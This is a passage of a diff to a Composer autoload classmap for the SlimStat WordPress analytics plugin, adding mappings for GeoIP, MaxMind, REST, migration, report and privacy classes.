'\u002Fpsr\u002Fcontainer\u002Fsrc\u002FNotFoundExceptionInterface.php',\n+    'Psr\\\\Http\\\\Client\\\\ClientExceptionInterface' => $vendorDir . '\u002Fpsr\u002Fhttp-client\u002Fsrc\u002FClientExceptionInterface.php',\n+    'Psr\\\\Http\\\\Client\\\\ClientInterface' => $vendorDir . '\u002Fpsr\u002Fhttp-client\u002Fsrc\u002FClientInterface.php',\n+    'Psr\\\\Http\\\\Client\\\\NetworkExceptionInterface' => $vendorDir . '\u002Fpsr\u002Fhttp-client\u002Fsrc\u002FNetworkExceptionInterface.php',\n+    'Psr\\\\Http\\\\Client\\\\RequestExceptionInterface' => $vendorDir . '\u002Fpsr\u002Fhttp-client\u002Fsrc\u002FRequestExceptionInterface.php',\n+    'Psr\\\\Http\\\\Message\\\\MessageInterface' => $vendorDir . '\u002Fpsr\u002Fhttp-message\u002Fsrc\u002FMessageInterface.php',\n+    'Psr\\\\Http\\\\Message\\\\RequestFactoryInterface' => $vendorDir . '\u002Fpsr\u002Fhttp-factory\u002Fsrc\u002FRequestFactoryInterface.php',\n+    'Psr\\\\Http\\\\Message\\\\RequestInterface' => $vendorDir . '\u002Fpsr\u002Fhttp-message\u002Fsrc\u002FRequestInterface.php',\n+    'Psr\\\\Http\\\\Message\\\\ResponseFactoryInterface' => $vendorDir . '\u002Fpsr\u002Fhttp-factory\u002Fsrc\u002FResponseFactoryInterface.php',\n+    'Psr\\\\Http\\\\Message\\\\ResponseInterface' => $vendorDir . '\u002Fpsr\u002Fhttp-message\u002Fsrc\u002FResponseInterface.php',\n+    'Psr\\\\Http\\\\Message\\\\ServerRequestFactoryInterface' => $vendorDir . '\u002Fpsr\u002Fhttp-factory\u002Fsrc\u002FServerRequestFactoryInterface.php',\n+    'Psr\\\\Http\\\\Message\\\\ServerRequestInterface' => $vendorDir . '\u002Fpsr\u002Fhttp-message\u002Fsrc\u002FServerRequestInterface.php',\n+    'Psr\\\\Http\\\\Message\\\\StreamFactoryInterface' => $vendorDir . '\u002Fpsr\u002Fhttp-factory\u002Fsrc\u002FStreamFactoryInterface.php',\n+    'Psr\\\\Http\\\\Message\\\\StreamInterface' => $vendorDir . '\u002Fpsr\u002Fhttp-message\u002Fsrc\u002FStreamInterface.php',\n+    'Psr\\\\Http\\\\Message\\\\UploadedFileFactoryInterface' => $vendorDir . '\u002Fpsr\u002Fhttp-factory\u002Fsrc\u002FUploadedFileFactoryInterface.php',\n+    'Psr\\\\Http\\\\Message\\\\UploadedFileInterface' => $vendorDir . '\u002Fpsr\u002Fhttp-message\u002Fsrc\u002FUploadedFileInterface.php',\n+    'Psr\\\\Http\\\\Message\\\\UriFactoryInterface' => $vendorDir . '\u002Fpsr\u002Fhttp-factory\u002Fsrc\u002FUriFactoryInterface.php',\n+    'Psr\\\\Http\\\\Message\\\\UriInterface' => $vendorDir . '\u002Fpsr\u002Fhttp-message\u002Fsrc\u002FUriInterface.php',\n+    'Psr\\\\Log\\\\AbstractLogger' => $vendorDir . '\u002Fpsr\u002Flog\u002FPsr\u002FLog\u002FAbstractLogger.php',\n+    'Psr\\\\Log\\\\InvalidArgumentException' => $vendorDir . '\u002Fpsr\u002Flog\u002FPsr\u002FLog\u002FInvalidArgumentException.php',\n+    'Psr\\\\Log\\\\LogLevel' => $vendorDir . '\u002Fpsr\u002Flog\u002FPsr\u002FLog\u002FLogLevel.php',\n+    'Psr\\\\Log\\\\LoggerAwareInterface' => $vendorDir . '\u002Fpsr\u002Flog\u002FPsr\u002FLog\u002FLoggerAwareInterface.php',\n+    'Psr\\\\Log\\\\LoggerAwareTrait' => $vendorDir . '\u002Fpsr\u002Flog\u002FPsr\u002FLog\u002FLoggerAwareTrait.php',\n+    'Psr\\\\Log\\\\LoggerInterface' => $vendorDir . '\u002Fpsr\u002Flog\u002FPsr\u002FLog\u002FLoggerInterface.php',\n+    'Psr\\\\Log\\\\LoggerTrait' => $vendorDir . '\u002Fpsr\u002Flog\u002FPsr\u002FLog\u002FLoggerTrait.php',\n+    'Psr\\\\Log\\\\NullLogger' => $vendorDir . '\u002Fpsr\u002Flog\u002FPsr\u002FLog\u002FNullLogger.php',\n+    'Psr\\\\Log\\\\Test\\\\DummyTest' => $vendorDir . '\u002Fpsr\u002Flog\u002FPsr\u002FLog\u002FTest\u002FDummyTest.php',\n+    'Psr\\\\Log\\\\Test\\\\LoggerInterfaceTest' => $vendorDir . '\u002Fpsr\u002Flog\u002FPsr\u002FLog\u002FTest\u002FLoggerInterfaceTest.php',\n+    'Psr\\\\Log\\\\Test\\\\TestLogger' => $vendorDir . '\u002Fpsr\u002Flog\u002FPsr\u002FLog\u002FTest\u002FTestLogger.php',\n+    'Psr\\\\SimpleCache\\\\CacheException' => $vendorDir . '\u002Fpsr\u002Fsimple-cache\u002Fsrc\u002FCacheException.php',\n+    'Psr\\\\SimpleCache\\\\CacheInterface' => $vendorDir . '\u002Fpsr\u002Fsimple-cache\u002Fsrc\u002FCacheInterface.php',\n+    'Psr\\\\SimpleCache\\\\InvalidArgumentException' => $vendorDir . '\u002Fpsr\u002Fsimple-cache\u002Fsrc\u002FInvalidArgumentException.php',\n+    'SlimStat\\\\Components\\\\Ajax' => $baseDir . '\u002Fsrc\u002FComponents\u002FAjax.php',\n+    'SlimStat\\\\Components\\\\DateRangeHelper' => $baseDir . '\u002Fsrc\u002FComponents\u002FDateRangeHelper.php',\n+    'SlimStat\\\\Components\\\\Event' => $baseDir . '\u002Fsrc\u002FComponents\u002FEvent.php',\n+    'SlimStat\\\\Components\\\\RemoteRequest' => $baseDir . '\u002Fsrc\u002FComponents\u002FRemoteRequest.php',\n     'SlimStat\\\\Components\\\\View' => $baseDir . '\u002Fsrc\u002FComponents\u002FView.php',\n+    'SlimStat\\\\Controllers\\\\Rest\\\\ConsentChangeRestController' => $baseDir . '\u002Fsrc\u002FControllers\u002FRest\u002FConsentChangeRestController.php',\n+    'SlimStat\\\\Controllers\\\\Rest\\\\ConsentHealthRestController' => $baseDir . '\u002Fsrc\u002FControllers\u002FRest\u002FConsentHealthRestController.php',\n+    'SlimStat\\\\Controllers\\\\Rest\\\\GDPRBannerRestController' => $baseDir . '\u002Fsrc\u002FControllers\u002FRest\u002FGDPRBannerRestController.php',\n+    'SlimStat\\\\Controllers\\\\Rest\\\\TrackingRestController' => $baseDir . '\u002Fsrc\u002FControllers\u002FRest\u002FTrackingRestController.php',\n+    'SlimStat\\\\Decorators\\\\NotificationDecorator' => $baseDir . '\u002Fsrc\u002FDecorators\u002FNotificationDecorator.php',\n     'SlimStat\\\\Dependencies\\\\BrowscapPHP\\\\Browscap' => $baseDir . '\u002Fsrc\u002FDependencies\u002FBrowscapPHP\u002FBrowscap.php',\n     'SlimStat\\\\Dependencies\\\\BrowscapPHP\\\\BrowscapInterface' => $baseDir . '\u002Fsrc\u002FDependencies\u002FBrowscapPHP\u002FBrowscapInterface.php',\n     'SlimStat\\\\Dependencies\\\\BrowscapPHP\\\\BrowscapUpdater' => $baseDir . '\u002Fsrc\u002FDependencies\u002FBrowscapPHP\u002FBrowscapUpdater.php',\n@@ -55,6 +328,37 @@\n     'SlimStat\\\\Dependencies\\\\BrowscapPHP\\\\Parser\\\\Helper\\\\SubKey' => $baseDir . '\u002Fsrc\u002FDependencies\u002FBrowscapPHP\u002FParser\u002FHelper\u002FSubKey.php',\n     'SlimStat\\\\Dependencies\\\\BrowscapPHP\\\\Parser\\\\Ini' => $baseDir . '\u002Fsrc\u002FDependencies\u002FBrowscapPHP\u002FParser\u002FIni.php',\n     'SlimStat\\\\Dependencies\\\\BrowscapPHP\\\\Parser\\\\ParserInterface' => $baseDir . '\u002Fsrc\u002FDependencies\u002FBrowscapPHP\u002FParser\u002FParserInterface.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Database\\\\Reader' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FDatabase\u002FReader.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Exception\\\\AddressNotFoundException' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FException\u002FAddressNotFoundException.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Exception\\\\AuthenticationException' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FException\u002FAuthenticationException.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Exception\\\\GeoIp2Exception' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FException\u002FGeoIp2Exception.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Exception\\\\HttpException' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FException\u002FHttpException.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Exception\\\\InvalidRequestException' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FException\u002FInvalidRequestException.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Exception\\\\OutOfQueriesException' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FException\u002FOutOfQueriesException.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Model\\\\AbstractModel' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FModel\u002FAbstractModel.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Model\\\\AnonymousIp' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FModel\u002FAnonymousIp.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Model\\\\Asn' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FModel\u002FAsn.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Model\\\\City' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FModel\u002FCity.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Model\\\\ConnectionType' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FModel\u002FConnectionType.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Model\\\\Country' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FModel\u002FCountry.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Model\\\\Domain' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FModel\u002FDomain.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Model\\\\Enterprise' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FModel\u002FEnterprise.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Model\\\\Insights' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FModel\u002FInsights.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Model\\\\Isp' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FModel\u002FIsp.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\ProviderInterface' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FProviderInterface.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Record\\\\AbstractPlaceRecord' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FRecord\u002FAbstractPlaceRecord.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Record\\\\AbstractRecord' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FRecord\u002FAbstractRecord.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Record\\\\City' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FRecord\u002FCity.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Record\\\\Continent' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FRecord\u002FContinent.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Record\\\\Country' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FRecord\u002FCountry.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Record\\\\Location' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FRecord\u002FLocation.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Record\\\\MaxMind' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FRecord\u002FMaxMind.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Record\\\\Postal' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FRecord\u002FPostal.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Record\\\\RepresentedCountry' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FRecord\u002FRepresentedCountry.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Record\\\\Subdivision' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FRecord\u002FSubdivision.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Record\\\\Traits' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FRecord\u002FTraits.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Util' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FUtil.php',\n+    'SlimStat\\\\Dependencies\\\\GeoIp2\\\\WebService\\\\Client' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FWebService\u002FClient.php',\n     'SlimStat\\\\Dependencies\\\\GuzzleHttp\\\\BodySummarizer' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGuzzleHttp\u002FBodySummarizer.php',\n     'SlimStat\\\\Dependencies\\\\GuzzleHttp\\\\BodySummarizerInterface' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGuzzleHttp\u002FBodySummarizerInterface.php',\n     'SlimStat\\\\Dependencies\\\\GuzzleHttp\\\\Client' => $baseDir . '\u002Fsrc\u002FDependencies\u002FGuzzleHttp\u002FClient.php',\n@@ -230,6 +534,23 @@\n     'SlimStat\\\\Dependencies\\\\MatthiasMullie\\\\Scrapbook\\\\Psr6\\\\Repository' => $baseDir . '\u002Fsrc\u002FDependencies\u002FMatthiasMullie\u002FScrapbook\u002FPsr6\u002FRepository.php',\n     'SlimStat\\\\Dependencies\\\\MatthiasMullie\\\\Scrapbook\\\\Scale\\\\Shard' => $baseDir . '\u002Fsrc\u002FDependencies\u002FMatthiasMullie\u002FScrapbook\u002FScale\u002FShard.php',\n     'SlimStat\\\\Dependencies\\\\MatthiasMullie\\\\Scrapbook\\\\Scale\\\\StampedeProtector' => $baseDir . '\u002Fsrc\u002FDependencies\u002FMatthiasMullie\u002FScrapbook\u002FScale\u002FStampedeProtector.php',\n+    'SlimStat\\\\Dependencies\\\\MaxMind\\\\Db\\\\Reader' => $baseDir . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FDb\u002FReader.php',\n+    'SlimStat\\\\Dependencies\\\\MaxMind\\\\Db\\\\Reader\\\\Decoder' => $baseDir . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FDb\u002FReader\u002FDecoder.php',\n+    'SlimStat\\\\Dependencies\\\\MaxMind\\\\Db\\\\Reader\\\\InvalidDatabaseException' => $baseDir . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FDb\u002FReader\u002FInvalidDatabaseException.php',\n+    'SlimStat\\\\Dependencies\\\\MaxMind\\\\Db\\\\Reader\\\\Metadata' => $baseDir . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FDb\u002FReader\u002FMetadata.php',\n+    'SlimStat\\\\Dependencies\\\\MaxMind\\\\Db\\\\Reader\\\\Util' => $baseDir . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FDb\u002FReader\u002FUtil.php',\n+    'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\AuthenticationException' => $baseDir . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FAuthenticationException.php',\n+    'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\Client' => $baseDir . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FClient.php',\n+    'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\HttpException' => $baseDir . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FHttpException.php',\n+    'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\Http\\\\CurlRequest' => $baseDir . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FHttp\u002FCurlRequest.php',\n+    'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\Http\\\\Request' => $baseDir . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FHttp\u002FRequest.php',\n+    'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\Http\\\\RequestFactory' => $baseDir . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FHttp\u002FRequestFactory.php',\n+    'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\InsufficientFundsException' => $baseDir . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FInsufficientFundsException.php',\n+    'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\InvalidInputException' => $baseDir . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FInvalidInputException.php',\n+    'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\InvalidRequestException' => $baseDir . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FInvalidRequestException.php',\n+    'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\IpAddressNotFoundException' => $baseDir . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FIpAddressNotFoundException.php',\n+    'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\PermissionRequiredException' => $baseDir . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FPermissionRequiredException.php',\n+    'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\WebServiceException' => $baseDir . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FWebServiceException.php',\n     'SlimStat\\\\Dependencies\\\\Psr\\\\Cache\\\\CacheException' => $baseDir . '\u002Fsrc\u002FDependencies\u002FPsr\u002FCache\u002FCacheException.php',\n     'SlimStat\\\\Dependencies\\\\Psr\\\\Cache\\\\CacheItemInterface' => $baseDir . '\u002Fsrc\u002FDependencies\u002FPsr\u002FCache\u002FCacheItemInterface.php',\n     'SlimStat\\\\Dependencies\\\\Psr\\\\Cache\\\\CacheItemPoolInterface' => $baseDir . '\u002Fsrc\u002FDependencies\u002FPsr\u002FCache\u002FCacheItemPoolInterface.php',\n@@ -410,15 +731,219 @@\n     'SlimStat\\\\Dependencies\\\\Symfony\\\\Polyfill\\\\Php80\\\\Php80' => $baseDir . '\u002Fsrc\u002FDependencies\u002FSymfony\u002FPolyfill\u002FPhp80\u002FPhp80.php',\n     'SlimStat\\\\Exception\\\\LogException' => $baseDir . '\u002Fsrc\u002FException\u002FLogException.php',\n     'SlimStat\\\\Helpers\\\\DataBuckets' => $baseDir . '\u002Fsrc\u002FHelpers\u002FDataBuckets.php',\n+    'SlimStat\\\\Interfaces\\\\RestControllerInterface' => $baseDir . '\u002Fsrc\u002FInterfaces\u002FRestControllerInterface.php',\n+    'SlimStat\\\\Migration\\\\AbstractIndexMigration' => $baseDir . '\u002Fsrc\u002FMigration\u002FAbstractIndexMigration.php',\n+    'SlimStat\\\\Migration\\\\AbstractMigration' => $baseDir . '\u002Fsrc\u002FMigration\u002FAbstractMigration.php',\n+    'SlimStat\\\\Migration\\\\Admin\\\\MigrationAdmin' => $baseDir . '\u002Fsrc\u002FMigration\u002FAdmin\u002FMigrationAdmin.php',\n+    'SlimStat\\\\Migration\\\\MigrationInterface' => $baseDir . '\u002Fsrc\u002FMigration\u002FMigrationInterface.php',\n+    'SlimStat\\\\Migration\\\\MigrationManager' => $baseDir . '\u002Fsrc\u002FMigration\u002FMigrationManager.php',\n+    'SlimStat\\\\Migration\\\\MigrationService' => $baseDir . '\u002Fsrc\u002FMigration\u002FMigrationService.php',\n+    'SlimStat\\\\Migration\\\\Migrations\\\\CreateCountryDtIndex' => $baseDir . '\u002Fsrc\u002FMigration\u002FMigrations\u002FCreateCountryDtIndex.php',\n+    'SlimStat\\\\Migration\\\\Migrations\\\\CreateDtBrowserIndex' => $baseDir . '\u002Fsrc\u002FMigration\u002FMigrations\u002FCreateDtBrowserIndex.php',\n+    'SlimStat\\\\Migration\\\\Migrations\\\\CreateDtOutIndex' => $baseDir . '\u002Fsrc\u002FMigration\u002FMigrations\u002FCreateDtOutIndex.php',\n+    'SlimStat\\\\Migration\\\\Migrations\\\\CreateDtPlatformIndex' => $baseDir . '\u002Fsrc\u002FMigration\u002FMigrations\u002FCreateDtPlatformIndex.php',\n+    'SlimStat\\\\Migration\\\\Migrations\\\\CreateDtScreenIndex' => $baseDir . '\u002Fsrc\u002FMigration\u002FMigrations\u002FCreateDtScreenIndex.php',\n     'SlimStat\\\\Modules\\\\Chart' => $baseDir . '\u002Fsrc\u002FModules\u002FChart.php',\n-    'SlimStat\\\\Providers\\\\RESTService' => $baseDir . '\u002Fsrc\u002FProviders\u002FRESTService.php',\n+    'SlimStat\\\\Providers\\\\IPHashProvider' => $baseDir . '\u002Fsrc\u002FProviders\u002FIPHashProvider.php',\n+    'SlimStat\\\\Providers\\\\RestApiManager' => $baseDir . '\u002Fsrc\u002FProviders\u002FRestApiManager.php',\n+    'SlimStat\\\\Reports\\\\Abstracts\\\\AbstractReport' => $baseDir . '\u002Fsrc\u002FReports\u002FAbstracts\u002FAbstractReport.php',\n+    'SlimStat\\\\Reports\\\\Abstracts\\\\ChartReport' => $baseDir . '\u002Fsrc\u002FReports\u002FAbstracts\u002FChartReport.php',\n+    'SlimStat\\\\Reports\\\\Abstracts\\\\SummaryReport' => $baseDir . '\u002Fsrc\u002FReports\u002FAbstracts\u002FSummaryReport.php',\n+    'SlimStat\\\\Reports\\\\Abstracts\\\\TableReport' => $baseDir . '\u002Fsrc\u002FReports\u002FAbstracts\u002FTableReport.php',\n+    'SlimStat\\\\Reports\\\\Bootstrap' => $baseDir . '\u002Fsrc\u002FReports\u002FBootstrap.php',\n+    'SlimStat\\\\Reports\\\\Contracts\\\\ChartableInterface' => $baseDir . '\u002Fsrc\u002FReports\u002FContracts\u002FChartableInterface.php',\n+    'SlimStat\\\\Reports\\\\Contracts\\\\FilterableInterface' => $baseDir . '\u002Fsrc\u002FReports\u002FContracts\u002FFilterableInterface.php',\n+    'SlimStat\\\\Reports\\\\Contracts\\\\PaginatableInterface' => $baseDir . '\u002Fsrc\u002FReports\u002FContracts\u002FPaginatableInterface.php',\n+    'SlimStat\\\\Reports\\\\Contracts\\\\RenderableInterface' => $baseDir . '\u002Fsrc\u002FReports\u002FContracts\u002FRenderableInterface.php',\n+    'SlimStat\\\\Reports\\\\Contracts\\\\ReportInterface' => $baseDir . '\u002Fsrc\u002FReports\u002FContracts\u002FReportInterface.php',\n+    'SlimStat\\\\Reports\\\\Registry\\\\LegacyReportAdapter' => $baseDir . '\u002Fsrc\u002FReports\u002FRegistry\u002FLegacyReportAdapter.php',\n+    'SlimStat\\\\Reports\\\\Registry\\\\ReportFactory' => $baseDir . '\u002Fsrc\u002FReports\u002FRegistry\u002FReportFactory.php',\n+    'SlimStat\\\\Reports\\\\Registry\\\\ReportLoader' => $baseDir . '\u002Fsrc\u002FReports\u002FRegistry\u002FReportLoader.php',\n+    'SlimStat\\\\Reports\\\\Registry\\\\ReportRegistry' => $baseDir . '\u002Fsrc\u002FReports\u002FRegistry\u002FReportRegistry.php',\n+    'SlimStat\\\\Reports\\\\Traits\\\\HasFilters' => $baseDir . '\u002Fsrc\u002FReports\u002FTraits\u002FHasFilters.php',\n+    'SlimStat\\\\Reports\\\\Traits\\\\HasPagination' => $baseDir . '\u002Fsrc\u002FReports\u002FTraits\u002FHasPagination.php',\n+    'SlimStat\\\\Reports\\\\Traits\\\\HasTooltip' => $baseDir . '\u002Fsrc\u002FReports\u002FTraits\u002FHasTooltip.php',\n+    'SlimStat\\\\Reports\\\\Types\\\\Analytics\\\\LiveAnalyticsReport' => $baseDir . '\u002Fsrc\u002FReports\u002FTypes\u002FAnalytics\u002FLiveAnalyticsReport.php',\n+    'SlimStat\\\\Services\\\\Admin\\\\ConditionTagEvaluator' => $baseDir . '\u002Fsrc\u002FServices\u002FAdmin\u002FConditionTagEvaluator.php',\n+    'SlimStat\\\\Services\\\\Admin\\\\Notification\\\\NotificationActions' => $baseDir . '\u002Fsrc\u002FServices\u002FAdmin\u002FNotification\u002FNotificationActions.php',\n+    'SlimStat\\\\Services\\\\Admin\\\\Notification\\\\NotificationFactory' => $baseDir . '\u002Fsrc\u002FServices\u002FAdmin\u002FNotification\u002FNotificationFactory.php',\n+    'SlimStat\\\\Services\\\\Admin\\\\Notification\\\\NotificationFetcher' => $baseDir . '\u002Fsrc\u002FServices\u002FAdmin\u002FNotification\u002FNotificationFetcher.php',\n+    'SlimStat\\\\Services\\\\Admin\\\\Notification\\\\NotificationManager' => $baseDir . '\u002Fsrc\u002FServices\u002FAdmin\u002FNotification\u002FNotificationManager.php',\n+    'SlimStat\\\\Services\\\\Admin\\\\Notification\\\\NotificationProcessor' => $baseDir . '\u002Fsrc\u002FServices\u002FAdmin\u002FNotification\u002FNotificationProcessor.php',\n     'SlimStat\\\\Services\\\\Browscap' => $baseDir . '\u002Fsrc\u002FServices\u002FBrowscap.php',\n-    'SlimStat\\\\Services\\\\GeoIP' => $baseDir . '\u002Fsrc\u002FServices\u002FGeoIP.php',\n+    'SlimStat\\\\Services\\\\Compliance\\\\ComplianceManager' => $baseDir . '\u002Fsrc\u002FServices\u002FCompliance\u002FComplianceManager.php',\n+    'SlimStat\\\\Services\\\\Compliance\\\\Integrations\\\\ComplianceIntegrationInterface' => $baseDir . '\u002Fsrc\u002FServices\u002FCompliance\u002FIntegrations\u002FComplianceIntegrationInterface.php',\n+    'SlimStat\\\\Services\\\\Compliance\\\\Regulations\\\\CCPA\\\\CCPAServiceProvider' => $baseDir . '\u002Fsrc\u002FServices\u002FCompliance\u002FRegulations\u002FCCPA\u002FCCPAServiceProvider.php',\n+    'SlimStat\\\\Services\\\\Compliance\\\\Regulations\\\\LGPD\\\\LGPDServiceProvider' => $baseDir . '\u002Fsrc\u002FServices\u002FCompliance\u002FRegulations\u002FLGPD\u002FLGPDServiceProvider.php',\n+    'SlimStat\\\\Services\\\\CronEventManager' => $baseDir . '\u002Fsrc\u002FServices\u002FCronEventManager.php',\n+    'SlimStat\\\\Services\\\\GDPRService' => $baseDir . '\u002Fsrc\u002FServices\u002FGDPRService.php',\n     'SlimStat\\\\Services\\\\GeoService' => $baseDir . '\u002Fsrc\u002FServices\u002FGeoService.php',\n-    'SlimStat\\\\Utils\\\\InvalidDatabaseException' => $baseDir . '\u002Fsrc\u002FUtils\u002FInvalidDatabaseException.php',\n-    'SlimStat\\\\Utils\\\\MaxMindDecoder' => $baseDir . '\u002Fsrc\u002FUtils\u002FMaxMindDecoder.php',\n-    'SlimStat\\\\Utils\\\\MaxMindMetadata' => $baseDir . '\u002Fsrc\u002FUtils\u002FMaxMindMetadata.php',\n-    'SlimStat\\\\Utils\\\\MaxMindReader' => $baseDir . '\u002Fsrc\u002FUtils\u002FMaxMindReader.php',\n-    'SlimStat\\\\Utils\\\\MaxMindUtil' => $baseDir . '\u002Fsrc\u002FUtils\u002FMaxMindUtil.php',\n+    'SlimStat\\\\Services\\\\Geolocation\\\\AbstractGeoIPProvider' => $baseDir . '\u002Fsrc\u002FServices\u002FGeolocation\u002FAbstractGeoIPProvider.php',\n+    'SlimStat\\\\Services\\\\Geolocation\\\\GeolocationFactory' => $baseDir . '\u002Fsrc\u002FServices\u002FGeolocation\u002FGeolocationFactory.php',\n+    'SlimStat\\\\Services\\\\Geolocation\\\\GeolocationService' => $baseDir . '\u002Fsrc\u002FServices\u002FGeolocation\u002FGeolocationService.php',\n+    'SlimStat\\\\Services\\\\Geolocation\\\\Provider\\\\CloudflareGeolocationProvider' => $baseDir . '\u002Fsrc\u002FServices\u002FGeolocation\u002FProvider\u002FCloudflareGeolocationProvider.php',\n+    'SlimStat\\\\Services\\\\Geolocation\\\\Provider\\\\DbIpProvider' => $baseDir . '\u002Fsrc\u002FServices\u002FGeolocation\u002FProvider\u002FDbIpProvider.php',\n+    'SlimStat\\\\Services\\\\Geolocation\\\\Provider\\\\GeoServiceProviderInterface' => $baseDir . '\u002Fsrc\u002FServices\u002FGeolocation\u002FProvider\u002FGeoServiceProviderInterface.php',\n+    'SlimStat\\\\Services\\\\Geolocation\\\\Provider\\\\MaxmindGeoIPProvider' => $baseDir . '\u002Fsrc\u002FServices\u002FGeolocation\u002FProvider\u002FMaxmindGeoIPProvider.php',\n+    'SlimStat\\\\Services\\\\Privacy' => $baseDir . '\u002Fsrc\u002FServices\u002FPrivacy.php',\n+    'SlimStat\\\\Services\\\\Privacy\\\\ConsentHandler' => $baseDir . '\u002Fsrc\u002FServices\u002FPrivacy\u002FConsentHandler.php',\n+    'SlimStat\\\\Services\\\\Privacy\\\\DataEraser' => $baseDir . '\u002Fsrc\u002FServices\u002FPrivacy\u002FDataEraser.php',\n+    'SlimStat\\\\Services\\\\Privacy\\\\DataExporter' => $baseDir 